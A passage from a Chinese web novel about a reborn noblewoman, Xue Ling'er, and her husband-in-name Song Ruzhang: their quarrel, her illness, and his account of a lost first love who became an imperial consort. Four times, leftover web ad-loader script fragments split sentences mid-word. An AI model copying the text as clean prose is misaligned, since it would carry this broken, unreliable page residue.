“我说什么来着,男人这东西,哪有不沾腥的。可惜我这大伯哥哥,原本性情就古板,被我那婆母自幼严加管教,更加变成了个书呆子,任凭什么人都凑不到跟前。也是阴差阳错,被薛氏那个狐狸精钻个缝子进了门,现在开了情窍,两人却还没成事,正是好时机,若是被人先摘了果子,薛氏怕不是要当场气晕?” 苏玉茹扬着帕子,越说越兴奋,眼神中露出尖锐的恶意,苏玉兰却嫌她说得太露骨,羞红着脸拉住她的帕子:“姐姐,快别说了,羞死人了。” …… 宋汝璋赶到悲寥轩的时候,正好府医从薛灵儿的卧房退出来,一见家主宋大人到了,先依照身份行礼,宋汝璋拦住,让到待客的堂屋,落座奉茶,方才问病。 府医答道:“大人不必过于忧心,夫人并无大碍,只是连日来过于劳累,加上在太阳底下晒的过久,脱了力,神志并未昏迷。老朽开个滋阴养气补血的方子,再用些食补,将养些日子就好了。” 说完府医起身,与薛氏陪房的宋妈妈安排煎药食补事宜,宋汝璋送完府医,顺理成章的往薛灵儿卧房方向走,急于看望一眼。 谁想到,卧房门口有个面生的丫鬟拦住去路:“夫人说了,大人您……不能进去。” 宋汝璋吃惊:“为何?” 又不是传染病,为何要躲着他? 那丫鬟话未出口,脸先红了红:“夫人说,有约法三章,不可违反,今后她也不会轻易踏入您的房内。” 这回宋汝璋的脸,比那丫鬟 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的脸,还要红得多。一时也不知道是羞,是恼,是怒。这约法三章的事,被她混闹了这么些日子,他早都忘了。 跟在身后的流云听见宋大人吃了闭门羹,站在门口进不去,脸色涨红,心里那叫一个解气。 哼,叫他不听自己的良言相劝,这回知道厉害了吧。 卧房内静卧休息的薛灵儿,听到宋汝璋在房门口成功被阻住,心里的痛快解气跟流云差不许多,简直比三伏天饮了冰水还要痛快。 悲寥轩本是宋府花园附属的一个院落,卧房不大,门口的动静,在卧房的床榻内听的清清楚楚。 薛灵儿躺在销金撒花百子图的床帐之内,面色未脱青白,额头上覆盖了一块沾湿的手帕,确实有几分病人的模样。 但那大眼睛里的光亮,唇边慧黠的一抹笑意,忽然让秋香替宋大人有些不平:“三小姐,这样合适吗,俗语说,夫为妻纲……” 薛灵儿白了秋香一眼:“我与他哪是什么夫妻,根本不相干的两个人。” 这话倒也不易反驳,只是秋香还得争取,声音微弱:“这……宋大人究竟对待咱们不错,咱们这么对待他,未免良心有亏。” 这话倒是说动了薛灵儿,自幼父亲教导她,人不可负义,仁义礼智信,她最认这个“义”字。 于是薛灵儿发了话:“罢了,放他进来吧。” 秋香神色一松,刚起身,就听门口宋大人转了身,对流云吩咐了一句:“咱们走。” 秋香抬脚就要把人追回,又听里头薛灵儿发狠说道:“不许追他!” 为难之中,也不能违悖主子的心意,秋香一脸无奈,又坐回薛灵儿床前服侍病人的小凳子上,忍不住长叹一声。宋大人这一走,主子这烈火脾气,怕是更加生气了。 然而瞥了一眼薛灵儿,却不像那会儿站在院子里那一副火山爆发的模样,一脸的阴云密布,黯然神伤,不一会儿功夫,大眼睛眨动两下,居然氤氲滴下两滴眼泪来。 秋香这一吃惊非同小可。 服侍了三小姐这些日子,从来没见她掉过一滴眼泪,起先她以为,这是痴傻之人孩童心智,以至于没心没肺,无喜无悲,可是后来跟随她出门交际高官府第,一点点品出来,这三小姐个性明快飒爽,与一般闺阁弱女大大的不同。 起先她被薛怀夫妇挑选来陪嫁,本来是被主家授意,管束拿捏住这个痴傻姑娘,免得她惹祸连累娘家,可是进了宋府的门以来,这三小姐仿佛换了个人,不光有通天的本事,待人也极好,秋香忍不住就对她生出了真心,把老主家的授意早就抛在了脑后。 却不料今日一场吵闹,本来没有多大的事,这平日里飒爽英姿的三小姐居然落下泪来,秋香心里又是心疼,又是发慌,不知道怎生是好。自己要开解,必须得把她的悲切愁思解开,又不能一味昧着良心,派那宋大人的不是。 毕竟有其主必有其仆,自己和三小姐一样,把“义气”二字,看得比什么都重。 29. 情起(一) 薛灵儿心里这一番由怒转悲,泪珠滚滚而下,竟然如同开了闸的洪水。 她倒并非全是为了宋汝璋而闹别扭,而是重生以来,发现母家满门覆灭,自己变成了人人得而欺负的痴傻姑娘,便一门心思应付周遭各种搓磨,各种变故,但凡有空余,便一心扑在查探母家冤屈上,心弦几乎没有一刻放松过。 早就封存了一切多愁善感的情思。 只不过,在这风霜雨雪的时日里,碰上了前世冤家宋汝璋,没想到是这么一个良善志诚的真君子,对一个不相干的傻姑娘,也肯用心善待,舍身庇护,薛灵儿在不知不觉之中,早已经把他当作今生唯一的靠山,如父如兄一般,亲近仰慕。 故此今日,他不分是非偏帮外人,才招得她动了大气。 方才刚要消气,这人转身一走,薛灵儿忽然觉得,自己被孤零零的,抛在了冰天雪地,再也无人可以依靠。 这才悲从中来,不可抑制。索性也把这些日子来苦苦压住的悲痛,尽情的释放一回。 秋香看得发呆,手忙脚乱一边递上干净的帕子,一边毫无章法地劝解:“宋大人怕是椅子还没坐热,就赶回来看您,您也是,实在不该耍性子,把他拒之门外。” 说完她才觉得,这话好像不大对,不像是劝解,倒像是数落主子派罪名呢。 幸好主子没听出来,只顾委屈痛哭了,一边拿着帕子抽噎着,一边为自己辩解:“我不让他进,那不就是让他认个错,服个软,他怎么就能这么狠心,转身走了?” 这…… 秋香虽然是未嫁之女,究竟在奴仆之中听她们谈谈讲讲,见识比较多,心内一喜,忍不住叹息一声,看来这名义夫妻变成真正夫妻,都是早晚的事,近水楼台先得月嘛。这宋大人也是,太不解风情,过一会儿,少不得自己跑一趟去递个话,让他前来服个软,哄一哄,满天乌云就散了。 心内这么一盘算,嘴上便劝哄道:“本来也没有多大的事,宋大人也是没跟妇人女子打过交道,说话行事都过于的直心肠,都是跟自家娘子吵闹过几回,慢慢就学会哄人了。” 娘子? 这两个字在薛灵儿眼前转着圈,闪着金星,她好像忽然不太认得这两个字。 沉默一会儿,薛灵儿问秋香:“你来说说,我无理取闹了吗?我明明是占了天大的理,那苏玉兰明明居心不良,我若不敲打她,怎能让她知道我的厉害?” 秋香毕竟走了两个府第了,在后宅里也算见多识广:“您在那苏玉兰面前自然是有理的,换了哪个正房夫人也得这么干,但在宋大人面前无理了些,他也并没有说什么,只是教您沉住气,莫要把自己暴露得太早,这又是什么歹话了?瞧您这场大气动的,多不值得。” 薛灵儿不言语了。她一向是最讲理的,前世不论是跟父亲,还是跟皇帝夫君,都没有耍过这般的小性子,今日是怎么了。 啊,是了。她是听他和白月光的故事太投入,这二人前世与她,就都是故人,今生又生了牵绊。一个是婉丽哀愁的娟秀佳人,一个是松竹之风的飘洒君子,是她身边活生生的柳梦梅杜丽娘。 情而不知所起,生而死,死而生。 那写戏文的汤显祖说的真好。 她是因为替那秦若晴打报不平,这才动了肝火,生了气恼。 简直来说,比她自己受了委屈还要气恼不平。前世她的皇帝夫君,一次又一次宠姬纳妃的时候还少吗,也没见她动这么大的气。 一想到此处,她的三昧真火,无名之气,竟是消了一大半。 秋香一看自己居然说服了主子,更加起劲:“本来您今日这一场晕倒,依着奴婢说,是这些日子跟着县主娘娘在外交际,过于劳累了。正好趁机歇一歇,调养身体,日后诞育小主子更加劳累伤元气,没有个好身体怎么行?” 这话却大大的逆了薛灵儿的耳。宋大人的心,永生永世,应当是属于秦若晴的,怎么能把他和别的女子扯在一处? 何况是她?因感激宋大人的庇护照拂,对待宋大人如父如兄,怎么可能有别的心思?再说了,她光是给安国公府申冤的事还忙不过来,哪还有别的空闲? 于是狠狠瞪着秋香:“你在胡说什么?我待宋大人如同亲哥哥一样。以后再不许说这样的话!” 秋香一见主子杏眼圆睁,腮边带赤,当真恼了她这句话,虽然不知道这位的情绪因为什么来了个断崖式的下跌,赶紧止住话茬,慌忙道歉:“三小姐别恼,奴婢再也不说了。” 薛灵儿意犹未尽,又含嗔带怒,狠狠白了秋香一眼:“再说就打你。” 秋香嘴上加了劲表态:“奴婢真不敢了。” 心里盘算着,既然三小姐止住了眼泪,自己偷个空,加紧去灵犀阁给宋大人递个话,让他赶紧来哄。 等诞育下小主子,自己便把一个性格极好的远房堂嫂子引见过来,做奶母。 ——— 灵犀阁的水榭外堂,宋汝璋坐在半敞的镂花窗边,望着湖面上的涟漪,晴和的秋日,有飞鸟掠过长空,天光云影在颤动变幻。 流云看着他,虽然主子面色无波无澜,可还是不对劲,一个忍不住,出言提醒:“大人,茶凉了。” 宋汝璋这才回过神来,饮下一口面前冷掉了的茶。 流云越看越是担忧,并没有如常去守门口,在主子面前逡巡不去。 宋汝璋看他一眼:“你有话说?” 流云壮了一下胆子,试探着说道:“大人,不是我说你,适才你真不该走的,夫人不过是要你低声下气陪个不是,你这一走,又得罪了她,想哄回来更难了。” 宋汝璋又看他一眼,刚要开言,门口传来细细的敲门声。 流云大步走到门口,打开门,把人放了进来。 秋香来到宋汝璋的茶桌边,先施了个礼:“给大人请安。” 宋汝璋一抬手:“夫人的病情如何了,现下感觉好些没?” 秋香抬眼留意宋汝璋,看见他眼神中真实的关切,放下了一大半心,斟酌了一番得体合适的说辞。 “回大人 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的话,夫人原本就是因为这些日子在外交际,有些过度劳累了,府医说歇息歇息,调养调养,就好了。” 这番话是讨好了男主人,卸下他把夫人气病了的黑锅,却也是薛灵儿本人承认的事实,并不违背良心,因此秋香说出口来,自觉坦坦荡荡。 流云在一旁却听得干着急,心说这秋香姐这么不会办事吗,自己素日白看重她了?这时候难道不应该把夫人说的越惨越好,加点压,让大人立刻去赔礼道歉吗? 宋汝璋声色不动:“府医那里,府里的大小两个厨房,我都亲自去叮嘱过了,让夫人陪嫁的宋妈妈每天监督着办,务必把身体调养好。听闻老夫人不放心,又派刘妈妈叮嘱了一遍,应当再无差池。你每天盯着她,服药用饭,不得懈怠,不能由着她那个任性的性子。” 这一番话下来,把个秋香听的喜上眉梢,加上内心一声感慨长叹。 要不说这三小姐,真是有些古怪邪门,也不知道是占了什么大福大贵的命数。 明明是个痴傻姑娘,人到了棺材里,还能死而复生。拿错了庚帖,还能高嫁连公主都爱而不得的二品大员宋状元。进门三天封了二品诰命,还是入宫领封。 嫁过来这些时日,连圆房之事都没有礼成,整天价往外跑也不知为些什么。结果呢,夫君重视,婆婆偏疼,小病一场,闹得阖府都当成头等大事。 这,叫那些整日殚精竭虑操持家事的贤良娘子们,情何以堪吧。 秋香心思一转,宋大人这个名义夫君都把话说到这份上了,她往下要说的话也显得格外顺理成章,于是扬起笑脸:“老夫人和大人如此相待,真是我们小姐的福气。依着奴婢的小想头,大人抽个空去探望一下,那便更好了,奴婢看小姐睡着了,偷个空出来,跟大人亲口禀报一声,好叫大人放心。” 宋汝璋点点头:“你先回去,我知道了。” 秋香点头答应着,望见宋大人的眼神有点冷,有点幽深,似乎与方才有些不符,一时也摸不着头脑,告了辞出去。 流云见他坐着不动,耐心等了一会儿,见又喝掉了一杯冷茶,丝毫没有动弹的意思,忍不住催促道:“大人,秋香姐也是品度着夫人的意思,才过来递这一句话的。” 宋汝璋沉默一会儿:“我不能去。” 流云吃惊了:“这却是为何?” “是我的不是。一味的把她当小孩子对待,却忘了,她也是一个大姑娘了。” 宋汝璋眼中有一种流云看不懂的光亮,好像有萤火虫飞在漆黑暗夜里,忽明忽暗。 流云把他这一句话,当作一口酒一样,好好地品了品,方开口劝道:“大人,这是你二人的缘法,难道不是好事吗,别人且不说,老夫人肯定盼着这一天呢。” 在他想来,一个大龄未娶的钢铁男子,一个痴傻如孩童的姑娘,若是为彼此动了情,岂不是一段佳话吗,简直都可以写进戏文了! 但宋汝璋眼中的萤火亮了又灭:“不能了。我为一个人,已经把自己燃尽了,剩下的,只余灰烬。” 30. 情起(二) 流云听了这句话,大大吃了一惊,自己整日跟着他,怎么一点没发觉? 他整天在书本堆里呆着,对于女子,尤其是年轻女子,不说避如蛇蝎,那也是冷若冰霜,他说的把他烧成灰烬的这女子,能是谁呢? 百思不解之中,流云手脚闲不住,把冷掉的茶壶端走,去换新茶。 电光火石之间,三年前的一些往事翻涌上来。 那些日子,主子好像发疯了一样。那些日子是如何熬过来的,只有他知道。 本以为是为了那年朝堂的大动荡,却原来,是为了一个女子。 别的不论,单说这女子的身份,怕是大有来头。 …… 一走神,热水烫到了手指,流云赶紧收回了思绪,这件事不能再管,不能再问了。他管不了,担负不起。 怕是整个宋府,也未必但负得起。 ——— 秋香进悲寥轩院门的时候,奉她之命看守主子的宋妈妈,刚送走前来探病的老夫人谢氏和刘妈妈。 她都进了三小姐卧房的门,宋妈妈还在逡巡不去,对着病床上的主子,绘声绘色讲个不停。 大概意思,就说这婆母,真是她这大半辈子没见过的一号人物,真真的面冷心热,一进屋没有半句客套话,张口就是教训这个长房儿媳不知道当心自己身子,日后圆房生子当了娘,可不能再这么任性。 教训完儿媳,又叮嘱刘妈妈,把内外之事安排得妥妥贴贴。 要说人这个东西也是怪了,自家三小姐这么执拗的性子,别人谁都不服,跟夫主宋大人,也是面对面、头顶头,一句不让,吵得七窍生烟,偏就服气这位婆母的教训,当场垂了头服了软。 总而言之,在宋妈妈看来,这二人不像婆媳俩,倒有点像亲母女。 秋香听了心内更加欢喜,老夫人和自己想到一处了。 这么说起来,三小姐圆房生子这些事,那不就指日可待了吗。万事俱备,只欠东风,只等着宋大人一来,稍微的那么哄一哄,二人感情顺理成章的升温,还有什么是不可能的?自己这一趟,算是跑对了。 谁知道,没有等来。 天亮等到天黑,没有来。第二天,天亮又等到天黑,还是没有来。 不光宋大人没有来,连流云也没有来过一次。 薛灵儿不声不响,也没有问过秋香一次,只是脸色一天比一天沉了些。越这样,秋香心里越是不安。 第三天,正午过后,薛灵儿从病床上爬起来了,因为老夫人下了命令,身体没将养好之前,不能出门交际,只能院内散步,走来走去,转来转去,没个消停时候。 秋香略劝了一句,要不然在宋府以内交际交际,走一走? 薛灵儿瞪起了眼。宋府之内有什么可交际,难不成去看望一下苏玉茹和苏玉兰? 主仆二人大眼瞪小眼一番,最后薛灵儿决定,如同生病之前那样,去灵犀阁,与宋大人一起吃晚饭。 秋香不敢违背主子的意思,忙着去张罗,去灵犀阁送信,没敢遣小丫鬟去,如此非同小可的事情,少不得亲自去跑。等站到宋大人面前的时候,心里还是忍不住直打鼓,这要是碰了钉子被拒绝了,可怎么好。 还好,宋大人沉默了一瞬,一点头,答应下来了。 转眼彩霞满天,到了晚饭时分。薛灵儿穿一件淡绿色的鲜亮颜色罗衫,织金百蝶穿花细褶裙,粉色罗带轻束,掐出一抹纤细腰身,就这样娉婷多姿地,站在了灵犀阁门前。 流云出来应门,一见夫人着意打扮过,一身鲜亮,先就带出三分惊喜之色:“夫人,这是您自家,还敲的什么门啊!吓我一跳,还以为来外人了呢。” 流云忙不迭地把人往屋里头让,薛灵儿回头白了秋香一眼,都怪她,非得给自己换了这身鲜亮衣裳,现在连流云的神色都这么古怪,宋汝璋万一也露出大惊小怪的神色,可怎么办? 说曹操,曹操就到,宋大人居然也往门口走了几步,来迎了,大约是因自己病了几日?因今日特意装饰过了,薛灵儿略微不安地留意对方的反应,生怕他露出一点大惊小怪的神气。 还好,宋大人的目光,全然的视若无睹,表情全然的无波无澜。 不愧是铁石心肠、高山白雪的宋状元,视一切女子为木石,除了那腹有诗书气自华的佳人秦若晴,他大概是谁也看不见。 薛灵儿松了一口大气,立刻感觉手脚又能自如活动了,于是一如往日,兴致勃勃,走到餐桌主座,开始安排张罗摆饭。秋香和流云,默契地对视一眼,既然主子恢复了兴致,少不得,一会儿他俩还是躲到小厨房去,虽然饭食稍微粗陋了点,但为了主子,牺牲一二口腹之欲,也是应当的。 不多一时,饭菜摆放妥当,流云笑眯眯地对薛灵儿说道:“大人听说夫人要来用饭,特意叫厨房换了适于养身的菜谱。” 话音未落,就见宋大人的眼刀扫了过来,流云不等落在身上,对秋香使个眼色,二人一阵风似的退出去,屋内又安安静静,剩下名义夫妇他二人。 薛灵儿一看,桌上果然并无一样大油大荤之物,都是清淡菜蔬,可口小点,养身汤羹,忍不住展颜一笑:“大人有心了。” 宋汝璋见她欢喜,心内也是一阵欢喜掠过,忍不住就说道:“身子见好了?你这个人气性太大,以后碰到无论什么事,以冷静为先,沉住气多动动脑子,不能再动那么大的气了。” 这话说的,语气虽淡,却字字透出关切亲厚之意,当真是如父如兄的一片苦心,薛灵儿最是吃软不吃硬的性子,忍不住就消了心头的那点剩余之气,低声答道:“大人我知道了。” 也不作声,动手盛了一碗酸笋鸡皮汤,放在宋大人面前。 这汤最是开胃爽口,她在母家安国公府的时候,赶上心情好的时候,或者惹祸了需要父亲撑腰的时候,便也这么经常先给父亲盛碗汤喝。 宋汝璋领受了她的好意,饮下了这碗汤,心里却有些怔忡不定,不知她心里打的什么主意。 等了难熬的半晌,就见薛灵儿眨着大眼睛,面颊潮红,问道:“大人,那天的故事……玉门关上那位姑娘的故 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 事,还能继续讲吗。” 原来是为了这个事啊。 看来是他想错了,全然多虑了。对面的姑娘,仍旧是个没开窍的孩童心智,只不过想听故事罢了。 宋汝璋大大的松了一口气,悄悄抹去了额头的一点汗意:“你这么喜欢听,我给你讲便是。” 薛灵儿欢声说道:“我不听完,简直寝食难安。” 宋汝璋点点头,沉了沉思绪,再次沉入了少年时代的回忆之河。 那位姑娘,在驼铃声声,大漠黄沙中,闯入了少年宋汝璋的视线,江南风土才能养就的雪白肌肤,衬了一身大红衣裳,令他一下子就明了,什么叫做人面桃花相映红。 宋汝璋自幼受庭训,克己复礼,此时虽深深受到震撼,却也并未多看第二眼。 可惜,人和人的缘分就是这么奇妙,只这一眼,他这一生,便注定了。 …… 病中的人,性子果然格外急躁些,宋汝璋刚开了个头,还没等说出什么来,薛灵儿就忍不住,插上嘴了。 宋汝璋说到江南风土,薛灵儿内心便雀跃起来,秦若晴的母亲是吴越一代的闺秀,秦家儿女在来玉门关之前,在外祖家寄居了三年,可不就是在江南风土中养大的吗,这可越说越对了。 但听到红衣娇艳,衬着大漠黄沙,心中又打起了鼓。秦家姐妹都是书卷气浓,爱穿淡色衣裳,莫非搞错人了……啊,是了,刚到大漠的时候,秦家伯母专门给姐妹们配了颜色衣裳,大红大蓝大绿,为的是风沙尘灰,衣服耐脏,另外怕她们不懂事跑丢了,艳色衣服显眼好找。 那几身衣服颜色虽然艳丽,但绣工精致,配色得宜,可一点都不俗气,十分好看,连她都闹着要,秦家伯母也给她置办了一份…… 薛灵儿越想越觉得靠谱,兴奋得大眼睛闪闪亮:“大人,你上次说过,在玉门关的时候和她没说过话,那么后来,你又是怎么能见到她的?我猜猜……一定是这样,这位姑娘在月下读诗,大人你凑巧散步,你们二人谈论起诗文来,一唱一和,觉得十分投缘,就像戏台子上一样。” 宋汝璋见她打开了话匣子,便歇口气,抽空给自己盛了一碗汤,吃上几口面点小菜,填填肚子,一听她说这话,一口汤差点呛到,顺过气来以后连连摆手:“你是看戏看多了。这位姑娘是官家小姐,贵胄千金,我是平民百姓,寒门书生,哪里能说得上话。” 薛灵儿强忍着内心的痒感,假作漫不经心地问道:“哦?她父亲是做什么官的?知府、知州还是知县?” “她父亲是朝廷派遣镇守玉门关的武将,二品大员之女,岂是你说的这小小官职。”宋汝璋说到此处,声音发沉,恰与窗外逐渐浸染进来的青灰暮蔼相合。 薛灵儿心中却快乐得冒了泡泡。 发现了埋藏在少年时期的往事,自己身边人意想不到的成双成对,自己猜的谜一一全中。 对于一心复仇、身心重压的人来说,茶余饭后有这样缠绵悱恻的故事可以听,比戏台上的小生小旦还要勾动情肠,还有比这更快乐的消遣吗? 31. 情起(三) 薛灵儿大眼睛晶晶亮,紧抓住宋大人的话茬不放:“大人说的我根本不信,你一定听过她吟诗念文,你就说,是也不是?” 薛灵儿自己一边说着,一边就脑补了戏台上的佳人,行着台步,拖长了韵白的情景。 宋大人略微一想:“你说的还真是。我那个学堂的夫子在当地是有名的博学宿儒,听说是将军府里的夫人邀请他上门,给几位千金讲学,这夫子脾气古怪,死说活劝,怎么都不肯踏进将军府的门,将军夫人也没办法,最后妥协之策,是将军府千金并几个富商千金,与男学生们一前一后错开,来学堂听学。” 这一说,勾起了薛灵儿自己少女时期的回忆。 对呀。宋大人说的宿儒,开办了女学一班,也有她在内呀。 只不过以她骑马猎鹰的性子,实在是坐不住,也不爱听,只是在那宿儒带领着一起读诗诵文的时候,她也看着眼前的书本糊弄着,跟着念诵,声音比其他人还更加响亮卖力,也未可知。 她也知道在姑娘们进门之前,有一班男学生会先行告退,有时候两厢不巧,一班退的晚了,一班来的早了,二者撞上的时候,男学生都退在道路两旁,给官家千金们躬身行礼。 薛灵儿性子顽皮,有一次特意顾盼着四周看了看,夫子教出来的子弟果然名不虚传,个个目不斜视,端庄谨肃,没有一个往千金小姐们这边溜上一眼的。 这班年轻书生里头,竟然有宋大人在内吗? 薛灵儿突发奇想,宋大人有留意到她吗?当日的将军府千金中最难惹的那一个,日后梧桐宫的薛贵妃,要他费了三道奏折弹劾奢靡太过,他留意到了吗? 实在控制不住心里的痒感,干脆开口问道:“大人,那班官家千金里除了那位姑娘,你可有留意过别人吗?” 宋汝璋好好看了薛灵儿一眼。 薛灵儿赶紧解释:“说不定有我的熟人呢。” 宋汝璋摇摇头:“不曾留意,有道是,非礼勿视,非礼勿听。那位姑娘,也是无意中往窗外看了一眼,后来才能留意到她的存在。旁人嘛,实在说不上。” 自己这么张牙舞爪的性子,凡接触过的没有记不住她的,宋大人居然都没有留意到她,薛灵儿也说不上是失望,还是释然,或许自己就是多余一问,还是把话题回到正题。 “大人的意思我明白了,是男学女学偶尔撞上的时候,你能好好的看那位姑娘的芳容一眼,便很满足。” 宋汝璋脸容一肃,正色言道:“这如何使得?我如何敢这般唐突她?若是赶上凑巧了,我和同窗们一起躬身行礼,能看到她的一抹裙角,从我眼前余光里掠过,我便很满足。” 这…… 倒也符合他。 薛灵儿不甘心就这么点可咀嚼的糖渣,追问道:“若是再凑巧一些呢?” “再凑巧一些,我在学堂外等候回村的牛车,有时候能听到女班在里头诵读诗文,从中听到她的声音,我便能高兴一整天,甚至好几天。” 秦若晴的声音,薛灵儿尽力回忆,虽然婉转动听,但文文弱弱,混在一众姑娘里,这都能分辨出来?可见这有情人的耳朵,也是别有神力。 不管怎么样,总算有点戏文里那缠绵悱恻的味儿了。与柳梦梅捡拾到杜丽娘的画像,便爱她成痴,也差不多。 薛灵儿满意地点了头。一看窗外的暮色慢慢的四合,薛灵儿去关上窗子,点上了蜡烛,又给宋大人盛了碗汤,继续盘问他。 “后来呢?得发生点什么惊天动地的事情吧?她不慎落水,你救了她?” 宋大人加紧的吃菜填饭,一边不满意的瞪着她:“一个官家千金,就算落水,哪容得我平民百姓上前?” “那是她救过你?” “不至于。” “那……”薛灵儿犯了难,“你把她从棺材里救活了,她死而复生?”她自己也知道这故事不对,那还是柳梦梅和杜丽娘。 宋大人瞪她瞪得更狠:“那是你。我把你从棺材里放出来了,你死而复生。” 薛灵儿点头,那没错,可是他也并没有因此就心悦于她,成痴成狂。 她还是难以置信:“就没发生任何不寻常的事?” 宋汝璋坚持道:“没有。” 薛灵儿更加难以置信。就这样,就为了她终身不娶了?沉默半晌,追问道:“大人,你到底是因为什么而这么喜欢她,甘愿为了她,放弃了那么多世家贵女,还有公主。” 宋汝璋显然也为这个问题困惑过,而今突然被人问起,认真思索了半晌之后,认真答道:“我也不知道。” 听到这个意料之中的答案,薛灵儿刚想丧气,宋大人却眼神闪烁起异样的亮光,打开了话匣子。 “我到底因为什么这么喜欢她,我自己也想过很多次。要说因为她出众的容色,她在女子之中是万万人之上,走到哪里都会吸引所有人的目光,也并非全然不对,可又并非全然是。” “我只知道,我的心好像有一扇门,本来这扇门谁都打不开,可是她出现,门就自动打开了,从此我的心就被填满,再也看不见别人,再也装不下别人。明明没有和她共处过一日,可是又好像,她时时刻刻都在。” “如今她已经离世,再美的容貌也已经烟消云散,可对于我来说,她还活着,就如我在玉门关看到她的第一眼一样。” “喜欢一个人,什么缘故都没有,什么都不贪图,也未必不是一件好事。拿我来说,无论她在天边,还是在眼前,甚至现在她……已经不在人世,生死茫茫,阴阳永隔,可是我只要一想起她来,心里还是和看到她的第一眼那样,同样的快活。” “我这一生,就这样过去,我很满足,很值得。” 宋汝璋一口气说完这一大段,急促地喘了几口大气,慢慢调匀着呼吸。他硬朗的轮廓被烛光一映,剪影微微颤动着投在墙上,显得说不出的孤清与倔强。 薛灵儿说不出话来。 她没见过这样的人,这样的感情。甚至戏文 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 里也不是这样。 那柳梦梅,也是心悦画中人的美貌,梦中杜丽娘鬼魂与他欢爱,他才坚定了心志。 至于世间其他男子更不足论,没有一个不是贪图美色,有了一个美貌佳人,还要有第二个,一个又一个,仿佛不会有餍足的时候。 而眼前的宋汝璋,一个如此古板冷情的男子,仿佛才是真正当得起戏文里那句话的人。 情不知所起,一往而深。生者可以死,死可以生。 现在她不觉得,凭区区一个苏玉兰,就能撼动他的心志。 任何女子都不能。 薛灵儿不再发问,也不知该问些什么,宋汝璋歇息半晌后,又开了腔,声音格外的沉。 “她这个人,经历大福大贵,又年纪轻轻,横遭不幸离世,可恨我竟然……一点都没帮上她。” 薛灵儿难得性子沉下来这么一会儿,实属不容易,此时又耐不住发问了:“她究竟是因为什么离世的?” 宋汝璋视线投到了远方:“后来她入宫为妃……” 薛灵儿实在没有按住自己的惊讶:“入宫为妃?” 这个可能性她居然会一直没有想到,秦若晴后来居然是入宫为妃了! 她极力搜索着记忆,在她生前独得圣宠,此事毫无端倪……那么,是在她死后发生的事情了。 难怪秦家人对此讳莫如深,不愿意多提,皇家之事总是要涉及到隐私,就算是皇亲国戚,寻常民间哪个敢多提一个字? 下次再去秦国公府,除了想办法套问国公爷的事情,还要套问秦若晴入宫为妃的事情。 薛灵儿的惊讶,伴随着窗缝中吹进来的一股冷风,宋汝璋打了个寒噤,吹透了一身的冷汗。 他说得太多了。 于是他转开眼,给薛灵儿盛了一碗汤,温声说道:“好好吃点饭吧,别只顾着说话了。” 薛灵儿点点头,听话吃饭,并没有再磨着他继续说,宋汝璋微微舒了口气,二人安安静静地吃饭。 汤已经冷了,可是薛灵儿的心是热的。 她决定,要好好对待眼前这个古板倔强的男子。 上一世有缘相遇了,但并非良缘,成了对头冤家。 这一世好得多,名义夫妇,亲如兄妹的情分。 回想她之前为他做的,现在觉得远远不够,她太能偷懒,外头交际又太累,回到宋府总想歇一歇…… 今后不一样了,她要好好的为他张罗菜谱,搭配四季衣裳,就像对待亲哥哥那样…… 心内盘算得一团高兴,她望向宋汝璋:“大人,明天不能吃的这么简素了,男子汉吃这些东西,没有力气。明天我去大厨房张罗菜谱。” 宋汝璋望着她亮闪闪的大眼睛,硬了硬心肠:“明天,就不和你一起用饭了。” 薛灵儿唇角的笑意僵了僵:“大人明天要办差是吧,没关系,后天晚上……” 宋汝璋觉得自己实在很残忍,但是又不得不说下去:“以后都不了。” 32. 小秦妃 薛灵儿脸色发白:“大人,这是为什么。” 宋汝璋木着一张脸:“没什么,还是一个人,清净点好。” 薛灵儿大眼睛里泛上一点泪意,很快退了去,她短促笑了一下:“也对,是我太多事了,告辞了。” 薛灵儿一个人走向门口,腰板挺直,但步态僵硬,活像挨了一闷棍。 人人都说宋汝璋是个钢铁心肠,但是他自己从来没觉得,这是第一次觉得。 自己亲手打了眼前这个姑娘一棍。 强压住心口的疼痛感,他觉得自己别无办法。 这个他亲手从棺材里放出来的姑娘,他到现在也摸不清,她到底是怎么回事,到底是怎么个路数。 全京城的人都传她痴傻,但是这些日子下来,他发现她非但不傻,反而有超出常人的聪慧和善体人意。 于是,从最一开始把她当成孩童对待,降低了防线跟她敞开心扉,就错了,被她刨根问底知道了这么多。 他要给已故之人和她的家族查明冤屈,昭雪复仇,这事情千难万险。 越少人知道,越好。谁知道,谁就有可能陷入巨大的危险。 ———— 薛灵儿走到灵犀阁的院内,眼中涌上一点泪意,又被烧干。 她知道是自己一不小心,问太多了,没想到秦若晴最终是入宫为妃侍奉了君王。 这白月光的事情不能再提,宋汝璋拉高了防线,将她拒之门外,也没什么不对。换成是她,她也会这么做。 可是薛灵儿就是觉得,自己身体不知道哪一处,好像受伤了,真疼,疼得她心里直发慌。 秋香从外头小径迎上来,一看薛灵儿的神情,比薛灵儿更慌:“小姐,这是怎么了?” 薛灵儿没有回答,在前头走的飞快,秋香在后面紧跟,半晌过后,薛灵儿扭头对秋香说:“明日去找县主娘娘,和她一起去秦国公府。” 秋香很担忧:“这怕不行吧。您的身体还没养好,老夫人和宋大人也不能答应啊。” 一提宋大人,薛灵儿更加下定了决心:“不管别人。为了不相干的人,我已经耽搁太久了,不能再耽搁下去了。” 秋香听着主子的声音那么冷,实在猜不着就这一顿饭的功夫,她和宋大人到底怎么了,想劝,也是无从劝起,只能长叹一声,暂且作罢。 第二日一早,薛灵儿用过早饭,坐上宋府日常出门的马车,偷偷的就溜出了门去,对待婆母先斩后奏,竟是在娘家对付父母亲的法子。 等谢氏得到丫鬟的通风报信,追出府门口,只看见马车的后影。苏玉茹也跟着追出来,一看这情景,眼角一瞥谢氏面上的怒意,便带一个含而不露的笑意,等着看好戏了。 谁都知道谢氏治家最严,这样明目张胆的公然往外跑,就是她夫君宋汝琏也是不敢,何况一个儿媳? 就听谢氏身边的大丫鬟问谢氏:“老夫人,守门的仆从报信和拦截不力,按例当罚他们一个月的月钱。” 这一问,其实也就是按例问一问,没有个不罚的道理。 